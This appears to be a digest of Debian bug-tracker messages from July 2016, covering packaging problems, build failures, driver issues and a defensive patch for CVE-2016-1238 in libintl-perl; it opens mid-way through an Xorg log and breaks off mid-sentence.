[ 9.667] (==) No Layout section.  Using the first Screen section.
[ 9.667] (==) No screen section available. Using defaults.
[ 9.667] (**) |-->Screen "Default Screen Section" (0)
[ 9.667] (**) |   |-->Monitor ""
[ 9.668] (==) No monitor specified for screen "Default Screen Section".
Using a default monitor configuration.
[ 9.668] (==) Automatically adding devices
[ 9.668] (==) Automatically enabling devices
[ 9.668] (==) Automatically adding GPU devices
[ 9.668] (==) Max clients allowed: 256, resource mask: 0x1f
[ 9.680] (WW) The directory "/usr/share/fonts/X11/cyrillic" does not exist.
[ 9.680]Entry deleted from font path.
[ 9.691] (==) FontPath set to:
/usr/share/fonts/X11/misc,
/usr/share/fonts/X11/100dpi/:unscaled,
/usr/share/fonts/X11/75dpi/:unscaled,
/usr/share/fonts/X11/Type1,
/usr/share/fonts/X11/100dpi,
/usr/share/fonts/X11/75dpi,
built-ins
[ 9.691] (==) ModulePath set to "/usr/lib/xorg/modules"
[ 9.691] (II) The server relies on udev to provide the list of input 
devices.
If no devices become available, reconfigure udev or disable 
AutoAddDevices.
[ 9.692] (II) Loader magic: 0x559ed3d13dc0
[ 9.692] (II) Module ABI versions:
[ 9.692]X.Org ANSI C Emulation: 0.4
[ 9.692]X.Org Video Driver: 20.0
[ 9.692]X.Org XInput driver : 22.1
[ 9.692]X.Org Server Extension : 9.0
[ 9.693] (++) using VT number 7

[ 9.693] (II) systemd-logind: logind integration requires -keeptty and 
-keeptty was not provided, disabling logind integration
[ 9.693] (II) xfree86: Adding drm device (/dev/dri/card0)
[ 

Bug#832550: tzdata: Certain zone abbreviations do not support round-trip conversion

[Mark Stafford]

Package: tzdata
Version: 2016f-0+deb8u1
Severity: normal

Dear Maintainer,

I was attempting to write a script something like a world clock to help 
schedule a task in six time zones.

* What exactly did you do (or not do) that was effective (or ineffective)?
* What was the outcome of this action?
* What outcome did you expect instead?

Steps to reproduce:

# the alias isn't necessary, but it simplifies the demonstration
alias lax="TZ='America/Los_Angeles' date --date=@1469558444 '+%Y-%m-%d %H:%M 
%Z'"
alias syd="TZ='Australia/Sydney' date --date=@1469558444 '+%Y-%m-%d %H:%M %Z'"
lax
syd
date --date "$( lax )"
date --date "$( syd )"

bug symptom:
  2016-07-26 11:40 PDT
  2016-07-27 04:40 AEST
  Tue Jul 26 11:40:00 PDT 2016
  date: invalid date ‘2016-07-27 04:40 AEST’

expected behavior:
  2016-07-26 11:40 PDT
  2016-07-27 04:40 EST
  Tue Jul 26 11:40:00 PDT 2016
  Wed Jul 27 02:40:00 PDT 2016

-- System Information:
Debian Release: 8.5
  APT prefers stable-updates
  APT policy: (500, 'stable-updates'), (500, 'stable')
Architecture: amd64 (x86_64)

Kernel: Linux 3.16.0-4-amd64 (SMP w/1 CPU core)
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)

Versions of packages tzdata depends on:
ii  debconf [debconf-2.0]  1.5.56

tzdata recommends no packages.

tzdata suggests no packages.

-- debconf information:
  tzdata/Zones/Europe:
  tzdata/Zones/SystemV:
  tzdata/Zones/Australia:
  tzdata/Zones/US:
* tzdata/Zones/Etc: UTC
* tzdata/Zones/America: Los_Angeles
  tzdata/Zones/Antarctica:
  tzdata/Zones/Atlantic:
  tzdata/Zones/Africa:
  tzdata/Zones/Arctic:
  tzdata/Zones/Indian:
  tzdata/Zones/Asia:
  tzdata/Zones/Pacific:
* tzdata/Areas: America

Bug#832549: xserver-xorg: X now defaults to using built-in modesetting video driver on Intel. X no longer functioned

[jackson]

Package: xserver-xorg
Version: 1:7.7+16
Severity: important

Dear Maintainer,

*** Reporter, please consider answering these questions, where appropriate ***

   * What led up to the situation?
upgrade to xorg-server (2:1.18.3-2) unstable
   * What exactly did you do (or not do) that was effective (or
 ineffective)?

cp /usr/share/doc/xserver-xorg-video-intel/xorg.conf /etc/X11
   * What was the outcome of this action?

Remediated the problem.
   * What outcome did you expect instead?


*** End of the template - remove these template lines ***


-- Package-specific info:
X server symlink status:

lrwxrwxrwx 1 root root 13 Jun 15 09:33 /etc/X11/X -> /usr/bin/Xorg
-rwxr-xr-x 1 root root 274 Jul 19 23:00 /usr/bin/Xorg

Diversions concerning libGL are in place

diversion of /usr/lib/arm-linux-gnueabihf/libGL.so.1.2.0 to 
/usr/lib/mesa-diverted/arm-linux-gnueabihf/libGL.so.1.2.0 by glx-diversions
diversion of /usr/lib/libGL.so.1 to /usr/lib/mesa-diverted/libGL.so.1 by 
glx-diversions
diversion of /usr/lib/arm-linux-gnueabihf/libGLESv2.so.2.0.0 to 
/usr/lib/mesa-diverted/arm-linux-gnueabihf/libGLESv2.so.2.0.0 by glx-diversions
diversion of /usr/lib/libGLESv2.so.2 to /usr/lib/mesa-diverted/libGLESv2.so.2 
by glx-diversions
diversion of /usr/lib/arm-linux-gnueabihf/libGL.so to 
/usr/lib/mesa-diverted/arm-linux-gnueabihf/libGL.so by glx-diversions
diversion of /usr/lib/x86_64-linux-gnu/libGLESv1_CM.so.1.1.0 to 
/usr/lib/mesa-diverted/x86_64-linux-gnu/libGLESv1_CM.so.1.1.0 by glx-diversions
diversion of /usr/lib/arm-linux-gnueabihf/libGLESv1_CM.so to 
/usr/lib/mesa-diverted/arm-linux-gnueabihf/libGLESv1_CM.so by glx-diversions
diversion of /usr/lib/i386-linux-gnu/libGLESv2.so.2 to 
/usr/lib/mesa-diverted/i386-linux-gnu/libGLESv2.so.2 by glx-diversions
diversion of /usr/lib/x86_64-linux-gnu/libGLESv2.so.2 to 
/usr/lib/mesa-diverted/x86_64-linux-gnu/libGLESv2.so.2 by glx-diversions
diversion of /usr/lib/arm-linux-gnueabihf/libGL.so.1.2 to 
/usr/lib/mesa-diverted/arm-linux-gnueabihf/libGL.so.1.2 by glx-diversions
diversion of /usr/lib/libGLESv1_CM.so.1.1.0 to 
/usr/lib/mesa-diverted/libGLESv1_CM.so.1.1.0 by glx-diversions
diversion of /usr/lib/i386-linux-gnu/libGLESv1_CM.so.1 to 
/usr/lib/mesa-diverted/i386-linux-gnu/libGLESv1_CM.so.1 by glx-diversions
diversion of /usr/lib/x86_64-linux-gnu/libGLESv1_CM.so to 
/usr/lib/mesa-diverted/x86_64-linux-gnu/libGLESv1_CM.so by glx-diversions
diversion of /usr/lib/arm-linux-gnueabihf/libGLESv1_CM.so.1.1.0 to 
/usr/lib/mesa-diverted/arm-linux-gnueabihf/libGLESv1_CM.so.1.1.0 by 
glx-diversions
diversion of /usr/lib/libGL.so.1.2.0 to /usr/lib/mesa-diverted/libGL.so.1.2.0 
by glx-diversions
diversion of /usr/lib/libGLESv2.so to /usr/lib/mesa-diverted/libGLESv2.so by 
glx-diversions
diversion of /usr/lib/libGL.so.1.2 to /usr/lib/mesa-diverted/libGL.so.1.2 by 
glx-diversions
diversion of /usr/lib/i386-linux-gnu/libGLESv1_CM.so.1.1.0 to 
/usr/lib/mesa-diverted/i386-linux-gnu/libGLESv1_CM.so.1.1.0 by glx-diversions
diversion of /usr/lib/x86_64-linux-gnu/libGL.so.1.2.0 to 
/usr/lib/mesa-diverted/x86_64-linux-gnu/libGL.so.1.2.0 by glx-diversions
diversion of /usr/lib/arm-linux-gnueabihf/libGLESv2.so to 
/usr/lib/mesa-diverted/arm-linux-gnueabihf/libGLESv2.so by glx-diversions
diversion of /usr/lib/libGL.so to /usr/lib/mesa-diverted/libGL.so by 
glx-diversions
diversion of /usr/lib/arm-linux-gnueabihf/libGLESv2.so.2 to 
/usr/lib/mesa-diverted/arm-linux-gnueabihf/libGLESv2.so.2 by glx-diversions
diversion of /usr/lib/x86_64-linux-gnu/libGL.so.1.2 to 
/usr/lib/mesa-diverted/x86_64-linux-gnu/libGL.so.1.2 by glx-diversions
diversion of /usr/lib/i386-linux-gnu/libGLESv2.so to 
/usr/lib/mesa-diverted/i386-linux-gnu/libGLESv2.so by glx-diversions
diversion of /usr/lib/libGLESv1_CM.so to /usr/lib/mesa-diverted/libGLESv1_CM.so 
by glx-diversions
diversion of /usr/lib/i386-linux-gnu/libGL.so.1.2.0 to 
/usr/lib/mesa-diverted/i386-linux-gnu/libGL.so.1.2.0 by glx-diversions
diversion of /usr/lib/i386-linux-gnu/libGL.so to 
/usr/lib/mesa-diverted/i386-linux-gnu/libGL.so by glx-diversions
diversion of /usr/lib/x86_64-linux-gnu/libGL.so.1 to 
/usr/lib/mesa-diverted/x86_64-linux-gnu/libGL.so.1 by glx-diversions
diversion of /usr/lib/arm-linux-gnueabihf/libGL.so.1 to 
/usr/lib/mesa-diverted/arm-linux-gnueabihf/libGL.so.1 by glx-diversions
diversion of /usr/lib/i386-linux-gnu/libGLESv2.so.2.0.0 to 
/usr/lib/mesa-diverted/i386-linux-gnu/libGLESv2.so.2.0.0 by glx-diversions
diversion of /usr/lib/libGLESv1_CM.so.1 to 
/usr/lib/mesa-diverted/libGLESv1_CM.so.1 by glx-diversions
diversion of /usr/lib/x86_64-linux-gnu/libGL.so to 
/usr/lib/mesa-diverted/x86_64-linux-gnu/libGL.so by glx-diversions
diversion of /usr/lib/x86_64-linux-gnu/libGLESv2.so.2.0.0 to 
/usr/lib/mesa-diverted/x86_64-linux-gnu/libGLESv2.so.2.0.0 by glx-diversions
diversion of /usr/lib/i386-linux-gnu/libGLESv1_CM.so to 
/usr/lib/mesa-diverted/i386-linux-gnu/libGLESv1_CM.so 

Bug#807118: file: Mistakes encoded WINDOWS-1253 text for ISO_8859-7 (Greek)

[Christoph Biedl]

tags 807118 confirmed upstream
thanks

Sophoklis Goumas wrote...

> file will confuse a WINDOWS-1253 encoded text file
> for a ISO_8859-7 encoded file.

Well, for "ISO-8859" only. Yes, that's still wrong. (Don't try --mime on that
file, things don't get better then.)

> ~/foo$ file *.txt
> greek_chars.ISO_8859-7.txt:   ISO-8859 text
> greek_chars.UTF-8.txt:UTF-8 Unicode text
> greek_chars.WINDOWS-1253.txt: ISO-8859 text
> 
> For convenience, the file greek_chars.UTF-8.txt
> has been attached to this bug report.

Thanks for that file. The bad news: The encoding detection is rather
wild-guessing and while it should be smarter than it is currently, such
character page heuristic cannot be perfect.

Christoph


signature.asc
Description: Digital signature

Bug#832542: mat: unable to clean docx files of metadata

[intrigeri]

Control: severity -1 normal
Control: tag -1 + moreinfo
Control: retitle -1 mat: unable to clean a given docx file of metadata

Hi,

> While attempting to scrub metadata from some documents, I recieved the 
> following error:
> Traceback (most recent call last):
>   File "/usr/bin/mat-gui", line 423, in __mat_clean
> elif self.liststore[line][0].file.remove_all():
>   File "/usr/lib/python2.7/dist-packages/MAT/office.py", line 80, in 
> remove_all
> beginning_blacklist=('docProps/'), whitelist=('.rels'))
>   File "/usr/lib/python2.7/dist-packages/MAT/archive.py", line 180, in 
> remove_all
> zipout.write(path, item.filename)
>   File "/usr/lib/python2.7/zipfile.py", line 1135, in write
> zinfo = ZipInfo(arcname, date_time)
>   File "/usr/lib/python2.7/zipfile.py", line 305, in __init__
> raise ValueError('ZIP does not support timestamps before 1980')
> ValueError: ZIP does not support timestamps before 1980

Can you please share one such file (possibly privately, possibly
encrypted to my OpenPGP public key or to upstream's), so that we can
reproduce the bug?

Can you retry with mat from testing/sid? IIRC there have been some
bugfixes in this area.

Cheers,
-- 
intrigeri

Bug#832440: libintl-perl: CVE-2016-1238 fix

[Peter Eisentraut]

On 7/25/16 10:45 AM, Dominic Hargreaves wrote:
> Package: libintl-perl
> Version: 1.24-1
> Severity: important
> 
> Hi maintainer,
> 
> An update for this package has been released as part of our handling for
> the issue described below. This fixes an instance of the dynamic module
> loading vulnerability alluded to.
> 
> I attach the patch I applied for jessie; please could you review this
> and apply something similar for sid?

The code has changed a little bit in sid.  I ported your patch.  Could
you check that the attached makes sense?

--- a/lib/Locale/Messages.pm
+++ b/lib/Locale/Messages.pm
@@ -28,6 +28,8 @@
 
 # Try to load the C version first.
 $package = 'gettext_xs';
+local @INC = @INC;
+pop @INC if $INC[-1] eq '.';
 eval <<'EOF';
 require Locale::gettext_xs; 
 my $version = Locale::gettext_xs::__gettext_xs_version();
@@ -40,6 +42,8 @@
 #
 # On such systems, we always fall back to gettext_dumb.
 if ($no_xs) {
+local @INC = @INC;
+pop @INC if $INC[-1] eq '.';
 eval {
 require POSIX;
 # void
@@ -200,9 +204,15 @@
 my $filename = "Locale::$pkg";
 $filename =~ s{::|\'}{/};
 	$filename .= '.pm';
-eval { require $filename };
+eval {
+local @INC = @INC;
+pop @INC if $INC[-1] eq '.';
+require $filename
+};
 	$package = $pkg unless $@;   
 } else {
+local @INC = @INC;
+pop @INC if $INC[-1] eq '.';
 eval "require Locale::gettext_xs";
 $package = 'gettext_xs' unless $@;
 }

Bug#832493: flashplugin-nonfree: update-flashplugin-nonfree detect upstream version as 22.0.0.209

[Leo L. Schwab]

Package: flashplugin-nonfree
Version: 1:3.6.1+b1
Followup-For: Bug #832493

Same problem here, for about two weeks so far.  And now
v11.2.202.626 has been blacklisted by Mozilla/Firefox, so all Flash-based
Web content is inaccessible until this is fixed.



-- Package-specific info:
Debian version: stretch/sid
Architecture: amd64
Package version: 1:3.6.1+b1
Adobe Flash Player version: LNX 11,2,202,626
MD5 checksums:
160a01dd00527304e5291e65eb0c65e2  
/var/cache/flashplugin-nonfree/get-upstream-version.pl
48a2167247b42b04f3610eb7350a053f  
/var/cache/flashplugin-nonfree/install_flash_player_11_linux.x86_64.tar.gz
1b0b549f4c1e1d60bd0bbc6799c87824  
/usr/lib/flashplugin-nonfree/libflashplayer.so
Alternatives:
flash-mozilla.so - auto mode
  link best version is /usr/lib/flashplugin-nonfree/libflashplayer.so
  link currently points to 
/usr/lib/flashplugin-nonfree/libflashplayer.so
  link flash-mozilla.so is /usr/lib/mozilla/plugins/flash-mozilla.so
/usr/lib/flashplugin-nonfree/libflashplayer.so - priority 50
lrwxrwxrwx 1 root root 34 Jun  2 15:00 
/usr/lib/mozilla/plugins/flash-mozilla.so -> /etc/alternatives/flash-mozilla.so
/usr/lib/mozilla/plugins/flash-mozilla.so: symbolic link to 
/etc/alternatives/flash-mozilla.so

-- System Information:
Debian Release: stretch/sid
  APT prefers unstable
  APT policy: (500, 'unstable'), (500, 'testing'), (500, 'stable')
Architecture: amd64 (x86_64)

Kernel: Linux 4.6.0-1-amd64 (SMP w/4 CPU cores)
Locale: LANG=en_US.utf8, LC_CTYPE=en_US.utf8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)

Versions of packages flashplugin-nonfree depends on:
ii  binutils   2.26.1-1
ii  ca-certificates20160104
ii  debconf [debconf-2.0]  1.5.59
ii  gnupg  1.4.20-6
ii  libatk1.0-02.20.0-1
ii  libcairo2  1.14.6-1+b1
ii  libcurl3-gnutls7.47.0-1
ii  libfontconfig1 2.11.0-6.4
ii  libfreetype6   2.6.3-3+b1
ii  libgcc11:6.1.1-10
ii  libglib2.0-0   2.48.1-2
ii  libgtk2.0-02.24.30-4
ii  libnspr4   2:4.12-2
ii  libnss32:3.23-2
ii  libpango1.0-0  1.40.1-1
ii  libstdc++6 6.1.1-10
ii  libx11-6   2:1.6.3-1
ii  libxext6   2:1.3.3-1
ii  libxt6 1:1.1.5-1
ii  wget   1.18-2

flashplugin-nonfree recommends no packages.

Versions of packages flashplugin-nonfree suggests:
ii  fonts-dejavu   2.36-1
pn  hal
pn  iceweasel  
pn  konqueror-nsplugins
ii  ttf-mscorefonts-installer  3.6
pn  ttf-xfree86-nonfree

-- no debconf information

Bug#831792: RFS: scid/1:4.6.2-0.1 [NMU]

[Gianfranco Costamagna]

last thing:

4) this hack seems useless now
sed s/x86_64-linux-gnu/$(DEB_HOST_MULTIARCH)/ configure > configure.sed
chmod 755 configure.sed
./configure.sed BINDIR="$(CURDIR)/debian/tmp/scid/usr/games" \

G.

Bug#832102: transition: ftplib

[Emilio Pozuelo Monfort]

On 26/07/16 17:07, Raphael Hertzog wrote:
> Hi,
> 
> On Mon, 25 Jul 2016, Emilio Pozuelo Monfort wrote:
>> You should file bugs against the build-rdeps so they build-depend on
>> libftp-dev instead of ftplib-dev.
> 
> Done: #832522 to #832525.
> 
> Severity normal since it's not blocking anything. I hope that's correct.

Yes. Thanks.

Emilio

Bug#788861: unsatisfiable cross Build-Depends

[Helmut Grohne]

Control: tags -1 + pending

On Mon, Jun 15, 2015 at 07:30:59PM +0200, Helmut Grohne wrote:
> Please consider applying the attached patch.

I updated the patch to work with the current libxcb package, uploaded it
as a NMU versioned 1.11.1-1.1 to DELAYED/15 and attached it to this mail
for your convenience. Please let me know if I should defer it any
longer.

Helmut
diff -u libxcb-1.11.1/debian/changelog libxcb-1.11.1/debian/changelog
--- libxcb-1.11.1/debian/changelog
+++ libxcb-1.11.1/debian/changelog
@@ -1,3 +1,12 @@
+libxcb (1.11.1-1.1) unstable; urgency=medium
+
+  * Non-maintainer upload.
+  * Make dependencies cross-sastifiable (closes: #788861).
++ Mark python dependency with :native to pick an executable python.
++ Do not build-depend on check when the nocheck profile is passed.
+
+ -- Helmut Grohne   Tue, 26 Jul 2016 20:11:56 +0200
+
 libxcb (1.11.1-1) unstable; urgency=medium
 
   [ Andreas Boll ]
diff -u libxcb-1.11.1/debian/control libxcb-1.11.1/debian/control
--- libxcb-1.11.1/debian/control
+++ libxcb-1.11.1/debian/control
@@ -14,11 +14,11 @@
  pkg-config,
  xutils-dev,
  xsltproc (>= 1.1.19),
- check (>= 0.9.4-2),
+ check (>= 0.9.4-2) ,
  python-xcbgen (>= 1.11),
  libtool,
  automake,
- python,
+ python:native,
  dctrl-tools
 Build-Depends-Indep:
 # libxcb-doc

Bug#832548: [kdesu] Make libkf5su5 depending on libkf5su5-bin

[Alex Volkov]

Package: kdesu
Severity: wishlist

--- Please enter the report below this line. ---

Now it has "libkf5su5-bin" in "Recommends:" section only, and kdesu doesn't 
work without kdesud, which is in the -bin package. Or is there any other 
obviuos way for an unsuspecting user to make kdesu work without it?


--- System information. ---
Architecture: amd64
Kernel:   Linux 4.6.4-bootes1

Debian Release: stretch/sid
  990 stable  security.debian.org 
  990 stable  ftp.fi.debian.org 
  990 stable  dl.google.com 
  990 stable  deb.torproject.org 
   90 unstabledeb.i2p2.no 
  500 testing ftp.fi.debian.org 
  500 testing deb.torproject.org 

--- Package information. ---
Package's Depends field is empty.

Package's Recommends field is empty.

Package's Suggests field is empty.

Bug#831792: RFS: scid/1:4.6.2-0.1 [NMU]

[Gianfranco Costamagna]

control: owner -1 !
control: tags -1 moreinfo


>I am looking for a sponsor for my package "scid":


lets see.
1)

The package will be probably orphaned in 10-15 days, so you might want to set 
yourself
as Maintainer and adopt it

2)
+* Copyright (C) 2013-2015  Fulvio Benini


maybe you want also to put copyright file in machine readable format
https://www.debian.org/doc/packaging-manuals/copyright-format/1.0/

3) 
X: scid source: maybe-not-arch-all-binnmuable scid -> scid-data

4) the breaks+replaces can be dropped, since that version is already available 
in oldstable

Breaks: scid (<=1:4.3.0.cvs20110714-2)
Replaces: scid (<=1:4.3.0.cvs20110714-2)
Recommends: scid (>=1:4.3.0.cvs20111216-1)


please fix the above and I'll give another review/upload.

thanks,

G.

Bug#832547: [ktorrent] scripts don't work

[Alex Volkov]

Package: ktorrent
Version: 4.3.1-5
Severity: normal

--- Please enter the report below this line. ---

Kross scripts don't work. Icons on the Scripts page are grayed out, and a 
tooltip gives the following text: "No interpreter for this script could be 
found, so it cannot be executed. Please make sure the right interpreter is 
installed." krosspython IS installed, as you can clearly see below.


--- System information. ---
Architecture: amd64
Kernel:   Linux 4.6.4-bootes1

Debian Release: stretch/sid
  990 stable  security.debian.org 
  990 stable  ftp.fi.debian.org 
  990 stable  dl.google.com 
  990 stable  deb.torproject.org 
   90 unstabledeb.i2p2.no 
  500 testing ftp.fi.debian.org 
  500 testing deb.torproject.org 

--- Package information. ---
Depends   (Version) | Installed
===-+-==
libc6 (>= 2.14) | 
libgcc1  (>= 1:3.0) | 
libgeoip1   | 
libkcmutils4 (>= 4:4.7) | 
libkdecore5  (>= 4:4.7) | 
libkdeui5(>= 4:4.7) | 
libkdewebkit5(>= 4:4.7) | 
libkdnssd4   (>= 4:4.7) | 
libkio5  (>= 4:4.7) | 
libknotifyconfig4(>= 4:4.7) | 
libkparts4   (>= 4:4.7) | 
libkrosscore4(>= 4:4.7) | 
libktorrent5 (>= 1.3.1) | 
libphonon4 (>= 4:4.3.0) | 
libqt4-dbus  (>= 4:4.7) | 
libqt4-network   (>= 4:4.7) | 
libqt4-qt3support(>= 4:4.7) | 
libqt4-xml   (>= 4:4.7) | 
libqtcore4 (>= 4:4.8.0) | 
libqtgui4  (>= 4:4.8.0) | 
libqtwebkit4  (>= 2.1.0~2011week13) | 
libsolid4(>= 4:4.7) | 
libstdc++6 (>= 4.9) | 
libsyndication4  (>= 4:4.7) | 
libtag1v5(>= 1.9.1-2.4) | 
phonon  | 
ktorrent-data   (= 4.3.1-5) | 
libktorrent-l10n| 


Package's Recommends field is empty.

Suggests (Version) | Installed
==-+-===
krosspython| 4:15.08.0-2

Bug#744177: JBIG and JBIG2 files are not detected

[Christoph Biedl]

Erik Thiele wrote...

> hi
> 
> > Yes, that needs attention. Do you have more public information about
> > the file format? I only found the jbigkit sources so far and couldn't
> > figure out the details so far.
> 
> JBIG:
> http://www.jpeg.org/jbig/index.html
> no real information seems to be available here.
> but jbigkit sources could be interesting.

Just a short message your issue is not forgotten. The jbigkit sources
contain a few example pictures but also reveal there is no such thing
as magic bytes in the file format. So detecting these will never be
perfect and rules for other formats (notably Targa) interfere.

Don't hold your breath but I'll do my best.

Christoph


signature.asc
Description: Digital signature

Bug#819572: logwatch: redundant argument in sprintf at .../amavis line 1338, <> line 321 message

[Willi Mann]

Hi,

any chance that you send me a logfile that demonstrates this problem? I
don't have access to any machine running amavis...

thanks
WM

Am 2016-03-30 um 17:34 schrieb Nayr:
> Package: logwatch
> Version: 7.4.2-1
> Severity: normal
> 
> Dear Maintainer,
> 
> -- System Information:
> Debian Release: stretch/sid
>   APT prefers testing
>   APT policy: (990, 'testing'), (500, 'unstable'), (500, 'stable')
> Architecture: amd64 (x86_64)
> 
> Kernel: Linux 4.4.0-1-amd64 (SMP w/4 CPU cores)
> Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8) (ignored: 
> LC_ALL set to en_US.UTF-8)
> Shell: /bin/sh linked to /bin/dash
> Init: sysvinit (via /sbin/init)
> 
> Versions of packages logwatch depends on:
> ii  nullmailer [mail-transport-agent]  1:1.13-1+b1
> ii  perl   5.22.1-9
> 
> Versions of packages logwatch recommends:
> ii  libdate-manip-perl   6.52-1
> ii  libsys-cpu-perl  0.61-1+b2
> ii  libsys-meminfo-perl  0.98-1+b1
> 
> Versions of packages logwatch suggests:
> ii  fortune-mod  1:1.99.1-7
> 
> -- no debconf information
> 

Bug#832456: elfutils: improve handling of DEB_BUILD_OPTIONS=nocheck

[Helmut Grohne]

Hi Kurt,

On Tue, Jul 26, 2016 at 06:20:08PM +0200, Kurt Roeckx wrote:
> On Tue, Jul 26, 2016 at 06:25:16AM +0200, Helmut Grohne wrote:
> > Hi Kurt,
> > 
> > On Mon, Jul 25, 2016 at 08:36:41PM +0200, Kurt Roeckx wrote:
> > > This all looks fine.  I'm just wondering why gcc-multilib is a
> > > problem in your case since it was already any-amd64.  I'm also
> > > wondering if any other arches need it, like x32 and ppc64el.
> > 
> > Well, kfreebsd-amd64 matches any-amd64 and I'm cross building for that.
> > 
> > As far as I understand, Debian's ppc64el doesn't do -m32.
> > 
> > x32 does understand -m32.
> > 
> > Given that the most recent libtool build succeeded on both amd64 and x32
> > and that both builds skipped 22 tests, I guess that -m32 is not needed
> > on x32 (and maybe no longer needed on amd64 either).
> 
> Are you confusing libtool and elfutils?

Yes, I am.

So let's look at elfutils again. For x32, the failing test is
run-backtrace-native-biarch.sh, so this looks a lot like a multilib
issue. On the other hand, any-amd64 matches[1] x32, so gcc-multilib is
being installed and we can see that from the build log. So without
further details, it's hard to say why it fails in the presence of a -m32
capable compiler.

Also verbose build logs would be awesome.

For ppc64el, we see:
| configure: WARNING: not running biarch tests, gcc -m32 does not work
Indeed, a gcc-multilib package might help here. gcc doesn't build it for
ppc64el and I'd very much like to not add any further multilib packages.
Instead, we should move to fully triplet prefixed toolchains. Rather
than running "gcc -m32", run "powerpcle-linux-gnu-gcc". Besides saving a
lot of trouble, the latter is not ambiguous.

Helmut

[1] dpkg-architecture -ax32 -iany-amd64

Bug#832546: ITP: kyklop -- Finds, tracks, and characterizes tropical cyclones in climate simulation data

[Klaus Zimmermann]

Package: wnpp
Severity: wishlist
Owner: Klaus Zimmermann 

* Package name: kyklop
  Version : 0.1.1
  Upstream Author : Klaus Zimmermann 
* URL : https://github.com/fuentesfranco/kyklop
* License : MIT
  Programming Lang: Python
  Description : Finds, tracks, and characterizes tropical cyclones in 
climate simulation data

 Kyklop analyses the output of climate models to examine tropical cyclones.
 At the moment it is limited to analysis of RegCM[1] output.
 It can find tropical cyclones, perform tracking, that is connect cyclones in
 successive time steps to form tracks, and measure various properties, like
 like their maximal wind speed.
 This package provides the kyklop command line tool.
 .
 [1] https://www.ictp.it/research/esp/models/regcm4.aspx

Kyklop solves an important problem in climate research.
A scientific publication featuring kyklop has been accepted.
Furthermore it is already in use by people outside of its originating group.

I have applied for membership of the Python Application Packaging Team (PAPT)
and hope to maintain the package within this team.

Bug#824034: Fwd: Bug#824034: $ignore_services breaks on close parentheses

[Willi Mann]

Hi,

here is a bug report with a proposed patch concerning the specification
of services to ignore in the secure script.

Bye
Willi


 Weitergeleitete Nachricht 
Betreff: Bug#824034: $ignore_services breaks on close parentheses
Weitersenden-Datum: Wed, 11 May 2016 15:15:02 +
Weitersenden-Von: Jonny Lamb 
Weitersenden-An: debian-bugs-dist@lists.debian.org
Weitersenden-CC: Willi Mann 
Datum: Wed, 11 May 2016 16:12:53 +0100
Von: Jonny Lamb 
Antwort an: Jonny Lamb , 824...@bugs.debian.org
An: sub...@bugs.debian.org

Package: logwatch
Version: 7.4.3-1
Severity: normal
Tags: patch

The "secure" script's $ignore_services option is space separated but
uses \b to match items, which breaks when a service name ends in a close
parenthesis (such as "wordpress(example.com)").

Here's a patch that fixes the problem here. Use a different approach if
you fancy.

Cheerio,
-- 
Jonny Lamb

diff --git a/scripts/services/secure b/scripts/services/secure
index 31f7ba6..387f5fd 100755
--- a/scripts/services/secure
+++ b/scripts/services/secure
@@ -190,7 +190,7 @@ while (defined($ThisLine = )) {
$ThisLine =~ s/\[ID [0-9]+ [a-z]+\.[a-z]+\] //;
my $temp = $ThisLine;
$temp =~ s/^([^[:]+).*/$1/;
-   if ($Ignore =~ /\b\Q$temp\E\b/i) { next; }
+   if ($Ignore =~ /(\s|^)\Q$temp\E(\s|$)/i) { next; }
 
#current sarge
if ($ThisLine =~ /^[^ :]*:( [0-9:\[\]\.]+|) \(pam_(unix|securetty)\)/i ) 
{next; }

Bug#832545: runit: FTBFS when built with dpkg-buildpackage -A (No such file or directory)

[Santiago Vila]

Package: src:runit
Version: 2.1.2-4
Severity: serious

Dear maintainer:

I tried to build this package with "dpkg-buildpackage -A"
(i.e. only architecture-independent packages), and it failed:


[...]
 debian/rules build-indep
dh build-indep --sourcedirectory=runit-2.1.2/src \
  --with bash_completion,systemd,runit --parallel
   dh_testdir -i -O--sourcedirectory=runit-2.1.2/src -O--parallel
   dh_update_autotools_config -i -O--sourcedirectory=runit-2.1.2/src 
-O--parallel

[... snipped ...]

 fakeroot debian/rules binary-indep
dh binary-indep --sourcedirectory=runit-2.1.2/src \
  --with bash_completion,systemd,runit --parallel
   dh_testroot -i -O--sourcedirectory=runit-2.1.2/src -O--parallel
   dh_prep -i -O--sourcedirectory=runit-2.1.2/src -O--parallel
   dh_auto_install -i -O--sourcedirectory=runit-2.1.2/src -O--parallel
   dh_installdocs -i -O--sourcedirectory=runit-2.1.2/src -O--parallel
   debian/rules override_dh_installchangelogs
make[1]: Entering directory '/<>'
dh_installchangelogs
dh_installchangelogs -p runit -p runit-init \
runit-2.1.2/package/CHANGES
dh_installchangelogs: No packages to build.
make[1]: Leaving directory '/<>'
   debian/rules override_dh_installman
make[1]: Entering directory '/<>'
dh_installman
mv debian/runit-init/usr/share/man/man8/runit-init.8 \
   debian/runit-init/usr/share/man/man8/init.8
mv: cannot stat 'debian/runit-init/usr/share/man/man8/runit-init.8': No such 
file or directory
debian/rules:12: recipe for target 'override_dh_installman' failed
make[1]: *** [override_dh_installman] Error 1
make[1]: Leaving directory '/<>'
debian/rules:6: recipe for target 'binary-indep' failed
make: *** [binary-indep] Error 2
dpkg-buildpackage: error: fakeroot debian/rules binary-indep gave error exit 
status 2


Hint: Since it's override_dh_installman who fails, try splitting
that into override_dh_installman-arch and override_dh_installman-indep.

It is even possible that just renaming override_dh_installman to
override_dh_installman-arch does the trick (when there is really nothing in
the target affecting arch-independent packages).

After that, please make sure that both "dpkg-buildpackage -A" and 
"dpkg-buildpackage -B"
work properly, then the package would be suitable to be uploaded in source-only
form if you wish.

[ Source-only uploads are of course optional, but being able to do them is going
  to be a release goal for stretch. See Bug #830997 for details ].

Thanks.

Bug#822792:

[Michael Lustfield]

I absolutely can't disagree that, if a (drupal, wordpress, etc.) web
app package maintainer wants their package to work out of the box,
nginx being preferred should not be a hold-up.

Obviously, conf.d/*.conf has been around for a *LONG* time and isn't
going anywhere.

It's possible some people may modify nginx to read conf.d/* or some
other custom prefix, so using conf.d/ leaves me a little bit
nervous about using it here, but I also feel like this has
historically been 'the place' for those configurations.

The package maintainer will have to know they have absolutely zero
control on what happens outside of location ^~ / { } ( side
note... let's try to force that fact ), but it's entirely possible to
make this work.


My proposed solution is:
